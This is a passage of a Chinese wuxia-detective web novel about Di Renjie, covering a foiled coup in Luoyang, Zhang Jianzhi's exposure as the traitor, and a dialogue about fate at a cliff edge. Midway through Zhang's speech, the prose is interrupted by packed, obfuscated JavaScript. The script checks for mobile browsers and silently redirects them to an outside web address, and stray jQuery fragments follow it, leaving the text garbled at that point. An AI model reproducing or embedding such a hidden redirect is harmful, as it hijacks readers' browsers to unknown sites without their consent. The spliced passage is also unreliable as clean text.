马肃道:“怎么死的?” 狄宁道:“要在刑部大牢处决犯人,还不容易。” 马肃道:“可他犯了什么错呢?就因为杀了何璧?” 狄宁道:“天子杀人,不需要理由。” 马肃道:“那御林军现在……谁来统领?” 狄宁道:“陛下已经降诏,明日辰牌时分,由巡逻队的吕队长来接任禁军主帅一职。” 马肃道:“要等到明日辰牌,才立新的御林军主帅?” 狄宁道:“陛下是这么说的。” 马肃道:“徐杰已死的事,还有谁知道?” 狄宁道:“现在全城的人都知道了。” 马肃道:“不是秘密处决的吗?” 狄宁道:“徐杰这么重要的人,哪怕是秘密处决,又能瞒得了几时?” 马肃道:“可徐杰到底犯了什么罪呢?” 狄宁道:“你还没明白?徐杰就算是没犯罪,陛下也要杀他。” 马肃道:“为什么?” 狄宁道:“因为他是御林军主帅,手握兵权。” 马肃点头。 这时听得街上喧腾起来,有各种各样的声音喊道: “哎呀,恭喜吕队长啊!” “不是吕队长,是吕‘主帅’!” “对对对,是吕主帅!” “恭喜,恭喜!” “唉呀,吕队长当了一辈子队长,这下总算是高迁啦!哎呀可喜可贺呀!” “吕队长……哦不,吕‘主帅’!吕‘主帅’!哎呀,吕主帅呀!你真是天底下第一英雄啊!无与伦比啊!” “是啊!吕主帅当了主帅,哪儿还有那姓徐的份儿啊!” “那姓徐的在吕队……吕主帅面前,连提鞋都不配!” “我爸爸姓‘吕’,跟吕队长一个吕!” “我爷爷姓‘吕’,跟吕队长也是一个吕!” “我祖宗姓‘吕’,跟吕队长更是一个吕!” “我老祖宗姓‘吕’,跟吕‘主帅’更是一个吕!” “我祖宗十八代虽然都不姓吕,但我可以为了吕主帅,让我的儿孙们后代们千秋万代都姓‘吕’!” 只见那吕队长领着巡逻队神神气气地穿过人群,脸上露出了得意的笑容,眼睛都快眯成一条缝了。 更有各种阿谀奉承、吮痈舐痔的话传来,令他仿若活在梦中一般。 甚至有老大不小的人跪在马前叫道:“爹!你怎么不认我呀!我是你儿子啊!” 吕队长在马上笑道:“我哪里又多出了个儿子了?” 那人谄媚地笑着叫道:“爹!我是你跟我妈生的!你是我亲爹!” 吕队长听了哈哈大笑。 巡逻队员也都知道,明天吕队长就要成为吕主帅了,那么自己几人自然也是升官发财的,喜得也将各种奉承之言尽数讲了出来。 街旁众人更是声嘶力竭地叫出了各种“我是你儿”“你是我爹”的话来,仿佛这天下马上就要姓“吕”了似的。 吕队长听得各样好话不绝于耳,高兴得都快要哭了,差点从天上摔下马来。 狄仁杰几人都听见了。 狄宁道:“看把这姓吕的得意的。” 马肃道:“你们饿了吧?我去买点饭。” 狄宁道:“幸苦你了。” 马肃便去了。 这里狄宁向狄仁杰附耳低言说了一番话。 狄仁杰听了,惊道:“什么?上万人马?” 狄宁点头。 狄仁杰呆了半晌,道:“那陛下是什么意思?” 狄宁道:“请君入瓮,一网打尽。” 狄仁杰突然都明白了,道:“这是一招险棋,是用江山社稷做赌注。”又道:“不过不入虎穴,焉得虎子。既然陛下都已安排好了,那我愿意跟。” 狄宁道:“我也跟着老爷。” 韩忠义在旁叫道:“我也来!” 狄仁杰也在狄宁耳边说了几句话。 狄宁听了惊道:“什么?是他?” 狄仁杰点头。 狄宁道:“真是天衣无缝。” 狄仁杰又跟狄宁商议了一番,狄宁便出门去了。 这时马肃带着饭回来了,问道:“狄宁去哪了?” 狄仁杰道:“我叫他出去办点事。” 马肃请狄仁杰吃饭。 狄仁杰道:“你也吃。” 马肃道:“我吃过了。” 狄仁杰一面吃着,望着天上乌云滚滚,道:“要下雨了。” 48. 第四十八章 洛阳 是夜。 月色朦胧,浓云密布,狂风呼啸,骤雨倾盆。 洛阳城内一片静寂。 紧闭的城门之上,几个岗哨都已醺醺然,呼呼大睡了。 时夜将三更,街道上空无一人。 雨水哗啦啦,倾洒在千家万户的屋檐上,又沿着石板路到处流动。 寒风嗖嗖地吹来,使得遍地的树枝冷得直打哆嗦。 就在一团漆黑之中,城外泥泞的空地上蓦地现出了无数人马,如浪潮一般涌来,直逼近城门。 在前带头的几人皆身披斗篷,蒙着面,跟后面上万人马一般,都被雨水淋得浑身湿透了。 黑压压的一片,望不见尽头,犹如大军压境,势不可当。 那雨声是如此之响,以致人与马的呼吸声,都被淹没了。 这时,所有的眼目俱望向那城门之上,似乎在等待着什么事情发生…… 忽见灯光一闪,众人眼睛一亮。 过了一时,又闪了两下。 带头的一人哼哼笑了起来,道:“今晚,天下就是我们的了。” 另一个恭维道:“啊,恭喜将军!这皇位本就该是将军的,将军当了皇上,当之无愧啊!” 那人道:“等我坐上了皇位,你魏胥就是开国元勋。” 那恭维的正是阳绵县的县令魏胥。 他忙道:“哦,不敢,不敢。”心里却暗喜。 旁边另一个冷笑道:“能不能成还说不定呢。” 那魏胥忙道:“哦,有吴帮主在,还有不成的?” 那冷笑的正是寒刀帮的帮主吴常。 那最先开口的也忙道:“有吴帮主帮助,徐某焉有不成之理?” 吴常听了,只不出声地冷冷一笑。 魏胥道:“吴帮主武功盖世,徐将军天下无敌,马兄神机妙算……” 那“马兄”道:“不是我神机妙算,是那姓狄的太愚蠢了。” 魏胥道:“对对对,在马兄面前,姓狄的愚蠢极了。” 只见大雨之中,城门缓缓地打开了,露出了洛阳城中空荡荡的街道。 带头的徐将军手臂一挥,叫声:“进城!” 登时上万人马飞奔入内,响彻云霄,将通衢大道挤得水泄不通。 徐将军做了一个手势,众人便都勒马停驻。 只见城中漆黑一团,空空如也,连一点灯火都没有。 此时只有耳旁风声雨声在响,眼前一片雨水眼花缭乱,看不清楚,只有缓缓推进。 猛听得“砰”的一声巨响,众人忙一回头,只见城门已闭。 皆还未来得及反应,突然于城头上、屋檐上以及各处民宅之后埋伏好的弓箭手一齐现出,街对面又传来呐喊声,冲来无数人马,齐声大叫:“杀!” 这里众人大吃一惊,都叫:“我们中计了!”“有埋伏!” 徐将军大叫:“快撤!” 只见乱箭射来,惨呼声中,众人一排排倒下。 忽闻一人喝道:“你们一群逆贼!阴谋造反,陛下都已知道了!” 只见那人身材魁伟,满脸胡须,骑跨骏马,身穿盔甲,带头领着无数人马,正是禁军主帅徐杰。 众人惊道:“他还活着!” 徐杰道:“不错!我还活着!陛下早已知道你们要来杀害何璧,因为他就是朝中潜伏已久的内奸!不过他早就不帮着你们了,因为你们徐敬业的旧部也已经非比当年了。而如今的他,又是朝中的大官,自然是不肯帮衬你们谋反。你们于是就要杀人灭口,同时嫁祸于我,让我无法统领禁军,致使群龙无首,城防空洞,你们好乘隙进城,谋取天下!陛下其实早已得知了何璧的身份,也知道你们多次想来收买他,让他在朝中继续做你们的人,好里应外合,一同谋反。陛下只是没有点破而已,而且整整十几年!这时她老人家将计就计,配合你们陷害于我,又亲自到大牢将我偷梁换柱,救了出来。为了让这场戏显得真,连我也事先不知道,原来陛下早已安排好了。然后便派人在城中到处散布假消息,说我徐杰已死,好让你们有恃无恐,倾巢而出,直攻神都,然后再将你们困了在城中,一网打尽!你们的末日到啦!” 又叫一声:“我大周的将士们,给我杀!” 御林军登时大喝一声,驰马杀来。 这时城中双方乱斗,血雨横飞,刀光剑影,人喊马嘶,乱成了一团。 那徐将军只是呆呆地瞪着眼,缓缓地摇头,嘴里不停地说:“我的天下,我的天下……” 魏胥大叫:“将军,我们快走吧!留得青山在,不怕没柴烧啊!” 徐将军含着泪,仍说着:“我的天下,我的天下……” 魏胥急得叫:“哎呀!先保住了性命要紧!” 徐将军道:“天下都没了,还要性命干什么?” 魏胥拉着他大叫:“先离开!还能东山再起的!” 徐将军苦笑道:“大势已去,没希望了。” 低头看了看腰间那把刻有“李”字的宝剑,猛地拔了出来,就要往脖子上一抹,突然寒光一闪,刀剑相交,叮的一声,感到手腕一阵酸麻,不由得松开了宝剑,被吴常接住了,还给他道:“不要轻生,大戏还没有落幕。” 只听得四周叫喊声震天动地,双方相斗良久,石板街上血流成河,跟雨水混成了一块。 这时,在一片厮杀中,一人发疯似的喊道:“天哪!为什么!” 有人认了出来,正是巡逻队的吕队长。 只见他当街狂叫:“为什么!姓徐的还活着!我以为我终于能当主帅了,我这辈子总算是熬出头了,不用再当这个小小的巡逻队队长了。我怎么都没想到,他还活着,他没有死!啊!你们欺负人!我恨你们!你们都该死!我,当了一辈子队长,从来就没有升过官。皇上,我恨你,你为什么不升我的官!徐杰,你个王八蛋,你天天骑在我头上拉屎,你侮辱我的人格!我凭什么对你低三下四?最可恨的就是,韩忠义。你不过是个江湖上的野狗崽子,你也配当将军?你当也就当了,你为什么要拒绝?皇帝亲封你为将军,你还不当?你还不当!你知道吗,我姓吕的就想当将军,我要当将军!你不当,为什么不让我来当?我哪里不如你了吗?我不如你吗?我不如你吗!我为什么当不了将军!为什么!将军?吕将军!主帅?吕主帅!还有宰相,叫吕阁老!狄仁杰,你这个虚伪的老货,真是无耻!我告诉你,我就是恨你,我恨你恨到死了。你跟你的狗护卫韩忠义,是我姓吕的天底下最恨的两个人!我要你们死。哼哼哼哼哼,不错,我陷害了你们,就是我陷害了你们。我不但要陷害你们,我还要把你们给害死。我要你们死。你们两个,只要还活在世上,那我姓吕的每天,就只有两件事:仇恨,还有妒忌!你啊,狄仁杰,你太完美了。你完美的有点假,让我很恶心。你是个宰相,却谦卑的跟条狗似的。你为什么不狠一点?你见到了我,你为什么不扇我一耳光啊?你为什么不来骂我两句?你打我两下,来,把我打死,来,把我打死!你不像宰相,你像一条狗,一条狗!你啊,君子吗?嗯?哈哈,是啊,可我不喜欢君子。我要是当了宰相啊,我要你们一个个都像条狗,天天向我吐舌头,哈哈哈哈哈!我要是当了宰相啊,或者当了将军也可以啊,那么我就拔出剑来,见人就杀!我杀了你,你还没办法,因为我官儿比你大。哈哈哈哈哈!你们会跪在我面前,说,将军,或者,阁老,或者,主帅,然后,我就抓着你们的头,扇你们耳光。你们这一群当官儿的,装模作样惯了呀,啊?哼哼哼,我要你们都跪在我脚前,像条狗一样!我吕某,才是真正的天下无敌!你们一群小老百姓,都要向我俯首称臣,明白了吗?因为,我才是皇上!你们啊,都是我的孙子,我的孙子!哈哈哈!谁也管不了我,谁也管不了我……!” 突然,吕队长被乱刀砍中,惨叫了一声,便当场倒下了。他死不瞑目。 这时双方仍在相斗,徐杰也参与了其中,砍瓜切菜一般,跟着乱杀一通。 徐将军、吴常他们也都正准备撤离,径往城门处突围。 突然之间,洛阳城中,四面八方,一齐发出了一连声的巨响。 “砰砰砰、砰砰砰、砰砰砰、砰砰砰……” 诸人都大吃一惊。 只见城中酒肆、茶馆、商店、府邸、民宅、客栈等各种各样的建筑周围,所有隐藏起来的暗门密道一齐大开,不知从哪里涌来了一群手持长剑的青袍人,都身手矫健,行速迅捷,一拥而至,往里头直冲了进去,紧接着又是一连声的“砰砰砰、砰砰砰、砰砰砰、砰砰砰”猛烈地、快速地响了起来,暗门密道又同时一齐关闭了。 徐杰大惊道:“怎么,城中还埋伏了第三方势力?!” “怎么回事?!”众人大叫道。 “城中有暗门密道!” “那是干吗的!” 徐杰大叫道:“不好!那是通往皇宫的方向!” “皇上有危险!” “御林军!”徐杰疯也似的大叫,“快去救驾!” 就在这时,那徐将军登时拨转马头,大叫一声:“谁敢与我争天下!给我杀!” 双方这番各有算计,都打得更加猛烈了。 大雨依然未休,伴随着狂风阵阵,兵刃相交,叮叮当当,城里大乱成了一团…… 就说值此大乱之际,东南街的张府,从大门处走进了一人,正是宰相张柬之。 他心神不宁地踱步,一面搓着双手,皱着眉头,隐隐听到了远处传来斗杀之声。 他时不时探头探脑地张望,似乎在等待着什么结果。 过了一时,他叹了口气,垂着首,缓缓地走入了大厅。 厅内一片漆黑,他伸手不见五指,也不知要往哪去。 外面一直下着雨,窗纱不停地抖动。 只见乌云之中微微明亮,应是被遮掩的月光。 张柬之正站在原地发呆,突然感到眼前一亮,猛抬起眼来,只见一人已坐在了灯旁。 那人双眼正直直地望向自己,不由得大吃一惊,就要叫出来,仔细一认,不是别人,正是狄仁杰。 张柬之喘了几口气,冷汗直流,道:“是……怀英啊……” 狄仁杰道:“柬之,你还好吗?” 张柬之咽了口唾沫道:“好,好……” 狄仁杰道:“你紧张什么?” 张柬之道:“我……我没紧张啊。” 狄仁杰仍是看着他,却没有说话。 张柬之不敢直视他的眼睛,便稍微低下了头。 狄仁杰道:“你为什么不敢看我?” 张柬之只是低着头,眼睛望着地下。 狄仁杰缓缓站了起来,看着他道:“你才是幕后黑手。” 张柬之一听,立时抬起头来,望着狄仁杰。 狄仁杰含泪道:“我早该想到是你。” 张柬之道:“我……不是我。” 狄仁杰叹了口气,道:“事到如今,你又何必隐瞒。” 张柬之道:“我隐瞒什么了?” 狄仁杰道:“从去年陛下派我出去查案,知道这件事的,除了陛下,也只有你了。” 张柬之道:“你……你是说我……出卖你?” 狄仁杰道:“难道不是吗?” 张柬之道:“我……你不要冤枉了我。” 狄仁杰道:“朋友,朋友。” 张柬之一听,眼眶便湿了。 狄仁杰道:“当夜彭大人被劫,就是你向歹徒通风报信的结果,对吗?” 张柬之道:“对。” 狄仁杰道:“你之所以要勾结歹徒,就是为了要陷害我,把我引出洛阳,然后再找机会把我杀掉,对不对?” 张柬之道:“对。” 狄仁杰道:“你的目的差一点达到了。” 张柬之道:“哦?是吗?” 狄仁杰道:“我差一点就死了。” 张柬之冷笑道:“那你怎么还活着呢?” 狄仁杰听了这话,如万箭穿心,嘴唇颤抖,眼睛含泪,道:“为什么你盼着我死?” 张柬之道:“你不是还没死嘛。” 狄仁杰点点头道:“我也不太想活了。” 张柬之道:“那你就应该死在外边,而不是到我府上。” 狄仁杰笑道:“哈哈哈。” 张柬之不说话。 狄仁杰静了下来,道:“彭大人当时根本就没有出城,而是被装进了马车,送到了你的府上。” 张柬之点头道:“不错。” 狄仁杰道:“歹徒之所以愿意帮你劫兵部尚书,是因为你只告诉了他们一半的真相。这一半的真相,也就是可以把我狄仁杰引出城。而这么做,你便可以借着他们的手来杀我。可还有一半的真相,那就是今晚的秘密。” 张柬之惊道:“你说什么?” 狄仁杰道:“彭羽手中,有洛阳城的‘暗门密道图’。” 张柬之大吃一惊道:“你……你怎么知道?” 狄仁杰道:“我很早以前就观察过,城中各处有许多暗门密道,都是为了紧急时刻而预备的。它们都是横穿整个神都的内部通道,可以从皇宫直接通往城中,也可以从城中直接通往皇宫。我当时想,如果没有这样的一份图,那么谁又能记得住这些暗道的确切位置呢?至于这份图的存在,陛下后来也都亲口证实了,它确实是在某人的手里。那么这份图如果不在禁军手里,还有谁,陛下会愿意将之交与呢?自然,也只有当时陛下十分看重的彭大人了。所以你借着歹徒的手,劫持了彭大人,再送到了你的府上,就是为了要拿到这份图。而如今,你早已拿到了,彭羽估计也已经被你杀人灭口了,并且你还派遣了有上千死士,在今天夜里,这个造反的夜晚,趁乱进入密道,直接前往皇宫,刺杀武皇!” 张柬之惊得只是后退,指着他道:“你……你怎么什么都知道?” 狄仁杰道:“如今那些死士已经尽数杀向皇宫,直入寝殿,你觉得他们已经成了吗?啊!” 张柬之惊道:“他们……他们……” 狄仁杰道:“他们已经被埋伏在四周的另一部分禁卫军一网打尽了!” 张柬之“啊”的一叫,整个人跌到了后面的椅子上。 狄仁杰指着他喝道:“张柬之!你机关算尽了!” 张柬之恨得敲着桌子大叫:“哎呀!怎么会这样!” 狄仁杰道:“你以为你躲在背后,就不会被显露出来?” 张柬之跳起来狂叫:“不可能!武则天已经死了!” 狄仁杰指着他喝道:“要死的是你!” 张柬之呆了呆,缓缓转过头去,看着狄仁杰道:“你要出卖我吗?还是说,你已经这么做了?” 狄仁杰含泪看着他,没有说话。 张柬之见他没有说话,只当他真的已经说了,便点了点头,道:“好,既然你都说了……我也不怕。我至少到死,也还是李唐的人。不像你,是武则天的走狗!哼,你以为,你忠心耿耿对她,她就会感激你了?哼,你还是太天真了。在她的心目中,只有她的皇位,她至高无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051994|194817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的权势!而你,也不过是她的一枚棋子。你,从一开始选择死心塌地地辅佐她,你就已经错了。可你还一错再错,继续辅佐她!为什么呢?因为你狄仁杰的心目中,根本就没有李唐!你有的,只是你的私欲。虽然我张柬之,之所以能当上宰相,也皆是因你荐举之功,但是我不稀罕!在这个武周朝里做宰相,还不如在李家当一条狗!你,只是为了自己的名利,为了自己的仕途前程,更是为了这个一人之下、万人之上的官儿!你,为了博得美名,为了明哲保身,你就抛弃了良心,背叛了李唐!你这个丧尽天良的逆臣,人人得而诛之!你不配跟我说话!像你这种叛国的逆贼,难道不该杀,不该死吗!我告诉你,你既让我当上了宰相,那我就要把你给弄死!狄仁杰,你知道吗,从你去年出了洛阳的那一刻起,我就一直在武则天面前挑拨离间,说些让她怀疑你的话,好让她下定决心杀你!后来,你能被全国通缉,我也有功劳!如果不是我拿出各种证据,要诬陷你是凶手,是逆贼,你又怎么会被陷害!你现在明白了吧,一直在害你的,就是我,张柬之!我就盼着你死,盼着你赶紧死!每当我听说,你狄仁杰还没死的时候,我就难受得想死!你怎么还不快死呢!你为什么不死!你应该跟着你的狗皇帝武则天一起下地狱去!后来,我还得到了那份血字供词,是他们使计逼着你写的。我当时开心的不得了,你被逼着用自己的血来写,痛不痛苦呢?哈哈哈哈哈!我想象着你痛苦的样子,我心里就舒服极了!唉呀,写得真好啊。狄仁杰,听说你被一路追杀,好几次都快死了呢?嗯?是什么感觉呀?啊?是不是感觉,连条狗都不如啊?这就是你给武则天做狗的好下场!你不是以为,武则天对你很好吗?那么为什么我把供词交给了她,她看了以后,明知你是被逼的,却还是不肯解除通缉令呢?哼哼哼,因为,她也盼着你死!你有没有想到,打从一开始,她派你出去办案,根本就没有指望你还能生还。她呀,也想把你弄死!哈哈哈,派你出去查案的人,才是真正想害你的人!你,真的以为她需要你来破案吗?你以为,这个国家需要你吗?你以为没了你,这个天下就不同了吗?我告诉你,你太把自己当回事儿了。你也不好好想想,朝中那么多人,武则天干吗偏要派你去?难道因为你厉害?你说对了!你就是太厉害了,所以她忌惮你!当然,她也想趁机利用你,用你做诱饵,引出各方势力,然后一网打尽!而你,只是个微不足道的诱饵而已。就像鱼上钩了,你这个诱饵也该死了!武则天就是想借刀杀人!让那些人来杀你,你还帮着她出力!你也不想想,一个出了洛阳的宰相,谁认你啊?凤凰落地不如鸡,你连个平头百姓都不如!叫你到千里之遥的边陲去,你难道还能活着回来?你啊,真行。武则天听说你活着回来了,也不知是高兴呢,还是更加忌惮了呢?你啊,太可怕了。这么着都没弄死你,看来你命不该绝啊。我呀,这一年来,天天算啊,算啊,算怎么才能弄死你呢?你啊,一直活着,一直活着。每次听到你还活着的消息,我就痛苦!因为你还活着,我张柬之寝食难安哪!要想推翻武则天,你狄仁杰这个走狗就必须得死!而且我还要用你这种逆臣的鲜血,去祭奠先主的亡魂!你这个叛贼,死不足惜!我时时刻刻就在盼着你狄仁杰死。你早死一日,武则天就早一日灭亡!因为只要你还在,你就会去拼尽全力地保护她。狄仁杰,我恨你!你装得多像个正人君子,天天满口的仁义道德,大义凛然!你这副道貌岸然的德性,令天下人切齿!你以为你算个什么东西?你在人们的眼中,就是一个伪君子!就连你辅佐的武则天,都恨不得将你除之而后快!你宁愿做武则天的一个猪狗也不如的东西,也不愿意为了自己的良心去恢复李唐,你,你还是个人吗?算了,我不说了,你狄仁杰,不就追求个‘问心无愧’嘛,我张柬之,自然是问心无愧。至于你,你自己看着办吧。反正我马上就要死了。” 狄仁杰平静地听完这段话,说道:“我没有出卖你。” 张柬之望向他。 狄仁杰道:“我狄仁杰,永远也不会出卖你张柬之。” 张柬之道:“你说的……是真的?” 狄仁杰道:“真的。” 张柬之道:“为什么?你应该知道,是我张柬之一直在害你,你为什么还不出卖我?你难道不恨我吗?” 狄仁杰道:“我不恨你。” 张柬之含泪哽咽道:“为什么?” 狄仁杰也含着眼泪,说道:“我只恨世间之事,总是难全。”看着窗外的雨,“我狄仁杰的心中,一直都有李唐,但是你们没有一个人能理解我。”望向张柬之,“就连你张柬之,你也不明白我。你张柬之,是我狄仁杰在朝中最好的朋友。当我猜到,是你在出卖我的时候,我心中不是恨,而是悲。你不懂我,我很难过,但我没有一个人可以诉说。我狄仁杰并没有那么坚强,我也痛苦,我也孤独,但是我,还是坚持走了下去,因为这段路,没有尽头,我要一直走,一直走……” 张柬之哭了,“是我对不起你,你愿意原谅我吗?” 狄仁杰流泪道:“柬之,我狄仁杰守护的,不完全是当今圣上,还有这个天下的太平。你知道吗?” 张柬之流着眼泪,点头道:“你不用说了,我都知道了。” 狄仁杰道:“我一开始就知道,皇上不是派我出去查案,而是要杀我。但我也知道,她同时也希望我,能够活着回来,顺便把案子都破了,最好,天下也太平了。我也不知道,这次走了几千里的路,去遥远的边关,到底是做什么去了。但也许,这就是我该走的路吧。我常常想啊,人生,或许就是一段旅程,其中每一个经历,都是一道风景。我不后悔,因为在这过程当中,我还是做了一些事的。” 张柬之叹了口气,道:“你能这么想,也很好。哪里像我啊,想不开哦。” 狄仁杰道:“人都需要一点执着,我也一样。” 张柬之点了点头,又叹了口气,看着狄仁杰说道:“不管你是否出卖我,我也不在乎了。你走吧。” 狄仁杰道:“我不会出卖你,因为你张柬之,是我狄仁杰最好的朋友。” 张柬之听了这话,又忍不住了,转过身来,哭了。 当他再回过头的时候,狄仁杰的背影已经远去了,慢慢地,出了大门,在雨中,渐渐地消失了。 狄仁杰独自一人,走在空荡荡的街道上。 大雨已经停了,只剩下一点毛毛细雨还在洒落。 只见一人迎面走来,牵着两匹马。 狄仁杰抬头一看,正是韩忠义。 韩忠义伸手帮狄仁杰抹去脸上的泪渍,道:“不哭,不哭。” 狄仁杰强笑道:“没哭,是雨水。” 韩忠义道:“不下雨了,是眼泪。” 狄仁杰道:“雨从来就没有停过。” 二人遂骑马来至城门处,只见尸横遍地,血流成河。 狄仁杰叫道:“徐主帅,怎么样了?” 徐杰盔甲上都是鲜血,见了狄仁杰道:“阁老,逆党几乎都已铲除,只是带头的几个跑了。” 狄仁杰道:“去了多久了?有几个人?” 徐杰道:“有一盏茶了,最多十来个。” 狄仁杰道:“徐主帅,城里的事就拜托你了。” 徐杰道:“阁老放心,一切交给我!” 狄仁杰就要走,听徐杰又叫:“阁老!你真是料事如神!那封信,我后来有交给陛下的!” 狄仁杰说声:“多谢!” 便跟韩忠义一齐飞奔出城。 徐杰在后面叫道:“小心啊!一路保重!” 49. 第四十九章 天涯 却说狄仁杰二人奔驰了一夜,沿着地上的痕迹,天亮时出了密林,追到了悬崖边上。 这日天色灰沉沉的,四周都是雾蒙蒙一片。 二人下了马,站在树林之畔,看不清眼前的场景。 隐约望见远处是万丈峡谷,白茫茫一片,跟空中的浓雾混成了一块。 狄仁杰见了,先是惊奇地想道:“怪哉,我怎么从未来过这个地方?密林的尽头应该是大道,怎么会是万丈悬崖呢?” 二人遂系住马。 方向前几步,只见浓雾之中,竟站满了人。 狄仁杰四顾一看,见有不下二百余人。 这时听得一个苍老的声音道:“狄仁杰,你还好吗?” 说话之声虽不大,却因其内劲十足,响亮非常,深远有力。 狄仁杰认了出来,道:“是吴常吗?” 吴常道:“是我。” 狄仁杰道:“你在哪里?” 吴常道:“在你面前。” 狄仁杰定睛一看,只见眼前确乎有几个人影。 狄仁杰道:“这是什么地方?” 吴常道:“天涯。” 狄仁杰道:“我怎么会来到了天涯?” 吴常道:“因为你的路,已经走到了尽头。” 狄仁杰道:“这到底是什么地方?” 吴常道:“是你心中的幻想。” 狄仁杰道:“这么说,你也是我的幻想?” 吴常道:“整个世界都是虚幻的。” 狄仁杰道:“你是说,这一切都是假的?” 吴常道:“如果你把它当作是真的,那么它就变成真的了。如果你觉得它是假的,那么它也确实是假的。” 狄仁杰道:“那到底什么是真,什么是假?” 吴常道:“真假,没有一定的标准,要看你自己怎么看待。” 狄仁杰道:“那我觉得,现在这个场景,这个地方,还有你们这些人,都是真的。” 吴常道:“你若是这么以为,那么这一切确实是真的。” 狄仁杰道:“那到底是不是真的?” 吴常道:“假的,也会变成真的。真的,也许是假的。” 狄仁杰道:“那么我先暂时相信,这一切都是真的吧。” 吴常道:“你输了。” 狄仁杰道:“我怎么输了?” 吴常道:“上回我来见你,跟你赌输赢。我说,我会赢你。这回,我真的赢啦。” 狄仁杰道:“不,你输了。” 吴常道:“我怎么输了?” 狄仁杰道:“那你说,你怎么就赢了?” 吴常道:“我又怎么就输了呢?” 狄仁杰道:“你们造反失败了。” 吴常道:“造反虽然失败了,但是你要死了。” 狄仁杰道:“我死了,你也还是输了。” 吴常道:“为什么?” 狄仁杰道:“因为你跟我赌的是输赢,而不是生死。” 吴常道:“我上回跟你说,既赌输赢,亦决生死。现在你要死了,那么自然是我赢了。” 狄仁杰道:“这生死跟输赢,不是一回事。” 吴常道:“怎么就不是一回事了?” 狄仁杰道:“如果你跟我赌的是生死,那么上回你来见我,我就已经死了。你有多少次机会可以杀我,你却没有这么做。这是因为,你并不想我死。你只是想,跟我赌输赢。而这个输赢,并不是生死,而是抉择。” 吴常道:“那你说说,什么是抉择?” 狄仁杰道:“一切有关是非对错的判断与结论,都是抉择。” 吴常道:“这世上的是非对错这么多,你怎么一个个抉择?不但你没法儿抉择,你还得降服于它。这就是命运,你掌控不了。” 狄仁杰道:“人自然是掌控不了命运,也不用去掌控。因为命运,有它自己的轨迹。就像我们每一个人,都有自己的路。你可以选择停滞不前,也可以选择继续走下去。你可以在跌倒了以后,爬起来,也可以在跌倒了以后,就此倒下去。所以是否一蹶不振,也只有在自己的路上,才能够抉择。至于命运,它走它的路,我走我的路,虽然我们时常交叉纵横,碰到了一起,但是,各走各的路,也并没有什么妨碍。它可以打扰我,我也可以去反对它,这就是相互之间的自由。我们都不过是人,在命运面前,都很渺小。” 吴常道:“我自知,是大不过命运。但是,那只是我自己的命运。至于别人的命运,比如你,我坚信我能掌控。” 狄仁杰道:“你尚且无法掌控自己的命运,何况别人呢。或许,你能掌控我的生死。不过,你依然掌控不了我的命运。” 吴常道:“或许吧,我确实掌控不了。但是我不明白,为什么人连自己的命运都无法做主?人难道,不是自己命运的主人吗?” 狄仁杰道:“因为人自己就是命运的一部分。” 吴常道:“那什么是命运呢?” 狄仁杰道:“命运,也就是你自己。” 吴常道:“我自己既在命运之中,那么命运又怎么可能会是我?” 狄仁杰道:“因为一个完整的你,就是你生命中命运的轨迹。” 吴常叫道:“可我不想这么走!” 狄仁杰道:“没人想这么走。你看看这世上的人吧,有几个真正活成了他们想活成的样子呢?都是身不由己。每个人的生命中,虽然都有无数条路,但是在抉择面前,最终都还是输给了自己。我也后悔过,很多次错误的选择,都将我引到了错误的路上。但是后悔,也没有用,因为事情已经发生了。往往只有事后才知道,原来那些最痛恨的事,都是我自己的选择。因为我做了这个选择,所以才会出现了这样一种让我悔恨的结果。最后你眼睁睁地看着这个结果,你怪不得任何人,因为这是自己的错误。就像这世上的每个人,都会犯错,而后果却得自己承担。” 吴常道:“那你错过吗?” 狄仁杰道:“谁没有错过。” 吴常道:“那你是怎么错的?” 狄仁杰道:“很多错,我自己也记不清了,因为留下来的,只是结果。” 吴常道:“那这次呢?” 狄仁杰道:“这次?你是说,你跟我赌输赢的事?” 吴常道:“是。” 狄仁杰道:“你很在乎这次吗?” 吴常道:“或许,我只在乎这次。” 狄仁杰道:“为什么?难道以前不重要吗?” 吴常道:“以前固然重要,但在如今看来,也显得没那么重要了。” 狄仁杰道:“难道我以前的过错,都可以一笔勾销吗?” 吴常道:“以前没有过错。” 狄仁杰道:“你是说谁?” 吴常道:“就算,从前的你吧。” 狄仁杰道:“从前的我,也曾犯过错。” 吴常道:“但对我来说,已经没那么重要了。” 狄仁杰道:“可我总是觉得,它们都还存在。” 吴常道:“存在的只是结果,不是过程。” 狄仁杰道:“这二者有什么分别呢?” 吴常道:“你记忆中的那部分,是你所以为的抉择。可其实,你根本无法抉择。因为结果注定你当时要那么做,否则也就不存在现在这样的结果了。” 狄仁杰道:“那照你这么说,我从前的过错,就不是我犯的了?” 吴常道:“虽然也是你,但也不是你。” 狄仁杰道:“我不明白。” 吴常道:“现在的你,已经不是从前的你了。” 狄仁杰道:“我依然是我。” 吴常道:“不,你不是你了。” 狄仁杰道:“我难道还能做回从前的我吗?” 吴常道:“回不去了。” 狄仁杰道:“或许可以回得去,就在你一念之间。” 吴常道:“是你变了,你却说在我‘一念之间’?果然是回不去了。” 狄仁杰道:“我没有变。你看到的变,是假象。” 吴常叫道:“不!我看到的变,那才是真相!” 狄仁杰道:“那我问你,什么是真相?” 吴常道:“真相,就是假象背后,真实的一面。” 狄仁杰道:“那你为什么看不到它?” 吴常道:“因为它被隐藏了。” 狄仁杰道:“被什么隐藏了?” 吴常道:“被我自己的心。” 狄仁杰道:“你说对了。你所不愿意看到的,就是那真实的一面。但是它,依然存在,就像我们一样。” 吴常道:“我不想讲过去了,我只说现在。” 狄仁杰道:“没有过去,哪来的现在?” 吴常道:“我不管,我只要那过去的狄仁杰,不是现在的狄仁杰。” 狄仁杰道:“你为什么不愿意接受现在的我?” 吴常道:“因为你已经变了,跟从前不一样了。” 狄仁杰道:“过去的我,就更好吗?” 吴常道:“你过去是个完美的人,现在不是了。” 狄仁杰道:“我过去也并不完美,是你这么想的。” 